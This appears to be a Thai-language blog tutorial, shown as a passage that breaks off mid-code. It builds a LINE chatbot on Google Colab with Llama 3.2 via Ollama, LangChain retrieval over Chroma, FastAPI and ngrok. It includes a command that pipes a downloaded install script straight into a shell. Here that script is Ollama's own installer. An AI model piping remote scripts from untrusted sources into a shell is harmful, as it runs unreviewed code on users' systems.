&#xE08;&#xE32;&#xE01;&#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE0A;&#xE34;&#xE49;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE01;&#xE25;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE21;&#xE31;&#xE19;&#xE43;&#xE19; Embedding Space &#xE41;&#xE25;&#xE30;&#xE1B;&#xE49;&#xE2D;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; LLM &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07;&#xE04;&#xE4D;&#xE32;&#xE15;&#xE2D;&#xE1A;&#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/10/bb43e387-a95a-4723-9470-9972faf77b78_989x1001.webp" class="kg-image" alt loading="lazy" width="989" height="1001" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/bb43e387-a95a-4723-9470-9972faf77b78_989x1001.webp 600w, https://blog.pjjop.org/content/images/2024/10/bb43e387-a95a-4723-9470-9972faf77b78_989x1001.webp 989w" sizes="(min-width: 720px) 720px"><figcaption>bytebytego.com</figcaption></figure><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Line Chatbot &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; <a href="https://github.com/ollama/ollama?ref=blog.pjjop.org">Llama 3.2</a> &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE19; Webhook &#xE1A;&#xE19; Google Colab &#xE42;&#xE14;&#xE22;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Library &#xE15;&#xE48;&#xE32;&#xE07;&#xE46; &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>!pip install colab-xterm</code></pre><pre><code>pip install --upgrade langchain langchain-ollama langchain-community chromadb</code></pre><pre><code>!pip install fastapi nest-asyncio pyngrok uvicorn line-bot-sdk</code></pre><p>Import Library &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;</p><pre><code>from langchain_ollama import OllamaLLM
from langchain.prompts import PromptTemplate
from langchain.chains import RetrievalQA
from langchain_ollama import OllamaEmbeddings
from langchain.vectorstores import Chroma
from langchain.document_loaders import TextLoader
from langchain.text_splitter import CharacterTextSplitter
from langchain.text_splitter import RecursiveCharacterTextSplitter
import os

import nest_asyncio
from pyngrok import ngrok
import uvicorn
from fastapi import FastAPI, Request, HTTPException
from linebot import LineBotApi, WebhookHandler
from linebot.exceptions import InvalidSignatureError
from linebot.models import MessageEvent, TextMessage, TextSendMessage</code></pre><h2 id="%E0%B9%80%E0%B8%95%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%A1-data-%E0%B9%80%E0%B8%9B%E0%B9%87%E0%B8%99-text-file">&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; Data &#xE40;&#xE1B;&#xE47;&#xE19; Text File</h2><p>Download <a href="https://drive.google.com/drive/folders/1SpudLX144NHLU2krWjYThzi2VheUgiZV?usp=share_link&amp;ref=blog.pjjop.org">&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE2A;&#xE39;&#xE15;&#xE23;</a> &#xE40;&#xE1B;&#xE47;&#xE19; Text File &#xE41;&#xE25;&#xE30; Upload &#xE02;&#xE36;&#xE49;&#xE19; Google Colab</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-07.44.15.png" class="kg-image" alt loading="lazy" width="2000" height="1215" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-20-at-07.44.15.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-20-at-07.44.15.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-20-at-07.44.15.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-07.44.15.png 2172w" sizes="(min-width: 720px) 720px"></figure><pre><code>def load_documents(directory):
    documents = []
    for filename in os.listdir(directory):
        if filename.endswith(&quot;.txt&quot;):
            file_path = os.path.join(directory, filename)
            loader = TextLoader(file_path, encoding=&apos;utf-8&apos;)
            documents.extend(loader.load())
    return documents</code></pre><pre><code>docs = load_documents(&quot;./&quot;)</code></pre><h2 id="%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3-line-messaging-api-%E0%B8%9F%E0%B8%A3%E0%B8%B5">&#xE2A;&#xE21;&#xE31;&#xE04;&#xE23; Line Messaging API (&#xE1F;&#xE23;&#xE35;)</h2><p><strong><a href="https://lineforbusiness.com/th/service/line-oa-features/broadcast-message?ref=blog.pjjop.org">&#xE41;&#xE1E;&#xE47;&#xE01;&#xE40;&#xE01;&#xE08;&#xE23;&#xE32;&#xE04;&#xE32;</a></strong></p><p>&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2A;&#xE21;&#xE31;&#xE04;&#xE23; Line Messaging API &#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Line Office Account &#xE01;&#xE48;&#xE2D;&#xE19;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-19-at-20.44.07.png" class="kg-image" alt loading="lazy" width="1654" height="1566" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-19-at-20.44.07.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-19-at-20.44.07.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-19-at-20.44.07.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-19-at-20.44.07.png 1654w" sizes="(min-width: 720px) 720px"></figure><p>&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; <a href="https://manager.line.biz/?ref=blog.pjjop.org">Line Office Account </a> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE21;&#xE31;&#xE04;&#xE23; Line Office Account (&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE19;&#xE17;&#xE35;&#xE48;&#xE22;&#xE31;&#xE07;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE2A;&#xE21;&#xE31;&#xE04;&#xE23;)</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-19-at-20.00.04.png" class="kg-image" alt loading="lazy" width="1948" height="2240" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-19-at-20.00.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-19-at-20.00.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-19-at-20.00.04.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-19-at-20.00.04.png 1948w" sizes="(min-width: 720px) 720px"></figure><p>&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Account (Provider) &#xE17;&#xE35;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-19-at-20.39.42.png" class="kg-image" alt loading="lazy" width="2000" height="635" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-19-at-20.39.42.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-19-at-20.39.42.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-19-at-20.39.42.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-19-at-20.39.42.png 2216w" sizes="(min-width: 720px) 720px"></figure><p>&#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Setting</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-19-at-20.40.03.png" class="kg-image" alt loading="lazy" width="2000" height="2116" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-19-at-20.40.03.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-19-at-20.40.03.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-19-at-20.40.03.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-19-at-20.40.03.png 2204w" sizes="(min-width: 720px) 720px"></figure><p>&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; Menu Messaging API &#xE41;&#xE25;&#xE49;&#xE27; Enable Messaging API</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-19-at-20.40.14.png" class="kg-image" alt loading="lazy" width="2000" height="1145" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-19-at-20.40.14.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-19-at-20.40.14.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-19-at-20.40.14.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-19-at-20.40.14.png 2214w" sizes="(min-width: 720px) 720px"></figure><p><strong>Copy Channel secret &#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;</strong> &#xE41;&#xE25;&#xE49;&#xE27;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; Line Developer</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.16.13.png" class="kg-image" alt loading="lazy" width="1948" height="242" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-20-at-08.16.13.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-20-at-08.16.13.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-20-at-08.16.13.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.16.13.png 1948w" sizes="(min-width: 720px) 720px"></figure><p>&#xE01;&#xE14; Console</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-09.08.38.jpg" class="kg-image" alt loading="lazy" width="2000" height="815" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-20-at-09.08.38.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-20-at-09.08.38.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-20-at-09.08.38.jpg 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/10/Screenshot-2567-10-20-at-09.08.38.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Channels &#xE43;&#xE19; Provider &#xE17;&#xE35;&#xE48;&#xE2A;&#xE21;&#xE31;&#xE04;&#xE23;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.17.59.png" class="kg-image" alt loading="lazy" width="2000" height="1274" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-20-at-08.17.59.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-20-at-08.17.59.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-20-at-08.17.59.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.17.59.png 2084w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Channel &#xE17;&#xE35;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; &#xE17;&#xE35;&#xE48;&#xE2B;&#xE19;&#xE49;&#xE32; Messaging API &#xE43;&#xE2B;&#xE49; <strong>&#xE02;&#xE2D; Access Token &#xE41;&#xE25;&#xE49;&#xE27; Copy &#xE44;&#xE27;&#xE49;</strong></p><p>&#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE14;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE0A;&#xE49; Webhook (<strong>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE19;&#xE33; URL &#xE21;&#xE32;&#xE08;&#xE32;&#xE01; Ngrok</strong>) &#xE41;&#xE25;&#xE49;&#xE27; Disable Auto-reply messages &#xE41;&#xE25;&#xE30; Greeting messages</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.22.27.png" class="kg-image" alt loading="lazy" width="2000" height="1760" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-20-at-08.22.27.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-20-at-08.22.27.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-20-at-08.22.27.png 1600w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.22.27.png 2312w" sizes="(min-width: 720px) 720px"></figure><h2 id="load-model-llama-32">Load Model Llama 3.2</h2><p>&#xE40;&#xE1B;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Terminal &#xE1A;&#xE19; Google Colab</p><pre><code>%load_ext colabxterm</code></pre><p>&#xE23;&#xE31;&#xE19; Terminal</p><pre><code>%xterm</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.28.48.png" class="kg-image" alt loading="lazy" width="2000" height="651" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-20-at-08.28.48.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-20-at-08.28.48.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/Screenshot-2567-10-20-at-08.28.48.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/10/Screenshot-2567-10-20-at-08.28.48.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; ollama &#xE43;&#xE19; Terminal &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;</p><pre><code>curl -fsSL https://ollama.com/install.sh | sh</code></pre><p> &#xA0;&#xE23;&#xE31;&#xE19; ollama &#xE43;&#xE19; Terminal &#xE41;&#xE25;&#xE30; Load Llama 3.2</p><pre><code>ollama serve &amp;</code></pre><pre><code>ollama pull llama3.2</code></pre><p>&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Cell &#xE02;&#xE2D;&#xE07; Google Colab &#xE19;&#xE2D;&#xE01; Terminal &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Model &#xE17;&#xE35;&#xE48; Load &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;</p><figure class="kg-card kg-code-card"><pre><code>!ollama list</code></pre><figcaption>c</figcaption></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.40.02.png" class="kg-image" alt loading="lazy" width="1370" height="80" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/Screenshot-2567-10-20-at-08.40.02.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/Screenshot-2567-10-20-at-08.40.02.png 1000w, https://blog.pjjop.org/content/images/2024/10/Screenshot-2567-10-20-at-08.40.02.png 1370w" sizes="(min-width: 720px) 720px"></figure><h2 id="%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87-vector-%E0%B8%88%E0%B8%B2%E0%B8%81-document"><strong><strong>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Vector &#xE08;&#xE32;&#xE01; Document</strong></strong></h2><pre><code>llm = OllamaLLM(
    model=&quot;llama3.2&quot;,
    temperature=0.3,
)

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; embeddings
embeddings = OllamaEmbeddings(
    model=&quot;llama3.2&quot;
)

text_splitter = RecursiveCharacterTextSplitter(
    chunk_size=800,
    chunk_overlap=200,
    separators=[&quot;\n\n&quot;, &quot;\n&quot;, &quot; &quot;, &quot;&quot;]
)

split_docs = text_splitter.split_documents(docs)

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; vectorstore &#xE08;&#xE32;&#xE01; documents
vectorstore = Chroma.from_documents(
    documents=split_docs,
    embedding=embeddings,
    collection_metadata={&quot;hnsw:space&quot;: &quot;cosine&quot;}  # &#xE43;&#xE0A;&#xE49; cosine similarity
)</code></pre><h2 id="%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87-chatbot-%E0%B8%94%E0%B9%89%E0%B8%A7%E0%B8%A2-langchain"><strong><strong>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; </strong>Chatbot &#xE14;&#xE49;&#xE27;&#xE22; </strong>LangChain</h2><pre><code># &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; prompt template
prompt_template = &quot;&quot;&quot;
&#xE04;&#xE38;&#xE13;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE1C;&#xE39;&#xE49;&#xE0A;&#xE48;&#xE27;&#xE22; AI &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE25;&#xE36;&#xE01;&#xE0B;&#xE36;&#xE49;&#xE07;&#xE43;&#xE19;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE2A;&#xE39;&#xE15;&#xE23;&#xE1B;&#xE23;&#xE34;&#xE0D;&#xE0D;&#xE32;&#xE42;&#xE17;
&#xE15;&#xE2D;&#xE1A;&#xE04;&#xE33;&#xE16;&#xE32;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE42;&#xE14;&#xE22;&#xE22;&#xE36;&#xE14;&#xE15;&#xE32;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE32;&#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE23;&#xE41;&#xE19;&#xE48;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE04;&#xE33;&#xE15;&#xE2D;&#xE1A;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE2A;&#xE39;&#xE15;&#xE23;&#xE01;&#xE32;&#xE23;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32;&#xE19;&#xE35;&#xE49;
&#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE21;&#xE31;&#xE49;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE47;&#xE04;&#xE27;&#xE23;&#xE1A;&#xE2D;&#xE01;&#xE27;&#xE48;&#xE32;&#xE44;&#xE21;&#xE48;&#xE17;&#xE23;&#xE32;&#xE1A;&#xE04;&#xE23;&#xE31;&#xE1A; &#xE1C;&#xE21;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE04;&#xE38;&#xE13;&#xE16;&#xE32;&#xE21;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;
&#xE41;&#xE25;&#xE30;&#xE15;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19; &#xE01;&#xE23;&#xE30;&#xE0A;&#xE31;&#xE1A; &#xE43;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;

&#xE1A;&#xE23;&#xE34;&#xE1A;&#xE17;: {context}

&#xE04;&#xE33;&#xE16;&#xE32;&#xE21;: {question}

&#xE04;&#xE33;&#xE15;&#xE2D;&#xE1A;:
&quot;&quot;&quot;</code></pre><p>&#xE42;&#xE1A;&#xE19;&#xE31;&#xE2A; <a href="https://blog.pjjop.org/prompt_template/">prompt template &#xE27;&#xE31;&#xE19;&#xE25;&#xE2D;&#xE22;&#xE01;&#xE23;&#xE30;&#xE17;&#xE07;</a></p><pre><code>PROMPT = PromptTemplate(
    template=prompt_template, input_variables=[&quot;context&quot;, &quot;question&quot;]
)

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; RetrievalQA chain

retriever = vectorstore.as_retriever(
    search_type=&quot;mmr&quot;,  # &#xE43;&#xE0A;&#xE49; Maximum Marginal Relevance
    search_kwargs={
        &quot;k&quot;: 4,  # &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE14;&#xE36;&#xE07;&#xE21;&#xE32;
        &quot;fetch_k&quot;: 12,  # &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE04;&#xE31;&#xE14;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;
        &quot;lambda_mult&quot;: 0.7  # &#xE04;&#xE48;&#xE32;&#xE16;&#xE48;&#xE27;&#xE07;&#xE19;&#xE49;&#xE33;&#xE2B;&#xE19;&#xE31;&#xE01;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;
    }
)

qa_chain = RetrievalQA.from_chain_type(
    llm=llm,
    chain_type=&quot;stuff&quot;,
    retriever=retriever,
    return_source_documents=True,
    chain_type_kwargs={&quot;prompt&quot;: PROMPT}
)

def ask_question(question: str) -&gt; str:
    try:
        result = qa_chain({&quot;query&quot;: question})
        return result[&quot;result&quot;]
    except Exception as e:
        print(f&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;: {e}&quot;)
        return &quot;&#xE02;&#xE2D;&#xE2D;&#xE20;&#xE31;&#xE22;, &#xE21;&#xE35;&#xE1A;&#xE32;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE04;&#xE33;&#xE16;&#xE32;&#xE21;&#xE02;&#xE2D;&#xE07;&#xE04;&#xE38;&#xE13;&quot;</code></pre><p>&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;</p><pre><code>question = &quot;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE2A;&#xE39;&#xE15;&#xE23;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22; &#xE04;&#xE37;&#xE2D;&quot;
answer = ask_question(question)
print(f&quot;&#xE04;&#xE33;&#xE16;&#xE32;&#xE21;: {question}&quot;)
print(f&quot;&#xE04;&#xE33;&#xE15;&#xE2D;&#xE1A;: {answer}&quot;)</code></pre><p>&#xE04;&#xE33;&#xE16;&#xE32;&#xE21;: &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE2A;&#xE39;&#xE15;&#xE23;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22; &#xE04;&#xE37;&#xE2D;<br>&#xE04;&#xE33;&#xE15;&#xE2D;&#xE1A;: &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE2A;&#xE39;&#xE15;&#xE23;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;&#xE04;&#xE37;&#xE2D; &quot;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE21;&#xE2B;&#xE32;&#xE1A;&#xE31;&#xE13;&#xE11;&#xE34;&#xE15; (&#xE40;&#xE17;&#xE04;&#xE42;&#xE19;&#xE42;&#xE25;&#xE22;&#xE35;&#xE2A;&#xE32;&#xE23;&#xE2A;&#xE19;&#xE40;&#xE17;&#xE28;&#xE41;&#xE25;&#xE30;&#xE19;&#xE27;&#xE31;&#xE15;&#xE01;&#xE23;&#xE23;&#xE21;&#xE14;&#xE34;&#xE08;&#xE34;&#xE17;&#xE31;&#xE25;)&quot;</p><p>&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; <a href="https://dashboard.ngrok.com/?ref=blog.pjjop.org">https://dashboard.ngrok.com</a> &#xE41;&#xE25;&#xE49;&#xE27;&#xE19;&#xE33;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; Config Token &#xE21;&#xE32;&#xE27;&#xE32;&#xE07;&#xE43;&#xE19; Google Colab</p><pre><code>!ngrok config add-authtoken xxxx</code></pre><p>Authtoken saved to configuration file: /root/.config/ngrok/ngrok.yml</p><p>Config Channel Access Token &#xE41;&#xE25;&#xE30; Channel secret</p><pre><code>app = FastAPI()

line_bot_api = LineBotApi(&apos;Channel_Access_Token&apos;)
handler = WebhookHandler(&apos;Channel_Secret&apos;)</code></pre><p>&#xE23;&#xE31;&#xE19; Line Webhook</p><pre><code>@app.post(&quot;/callback&quot;)
async def callback(request: Request):
    signature = request.headers[&apos;X-Line-Signature&apos;]
    body = await request.body()

    try:
        handler.handle(body.decode(&quot;utf-8&quot;), signature)
    except InvalidSignatureError:
        raise HTTPException(status_code=400, detail=&quot;Invalid signature&quot;)

    return &apos;OK&apos;

@handler.add(MessageEvent, message=TextMessage)
def handle_message(event):
    text = event.message.text
    reply_text = ask_question(text)

    line_bot_api.reply_message(
        event.reply_token,
        TextSendMessage(text=reply_text)
    )

# &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; ngrok tunnel
ngrok_tunnel = ngrok.connect(8000)
print(&apos;Webhook URL:&apos;, ngrok_tunnel.public_url + &apos;/callback&apos;)

nest_asyncio.apply()

if __name__ == &quot;__main__&quot;:
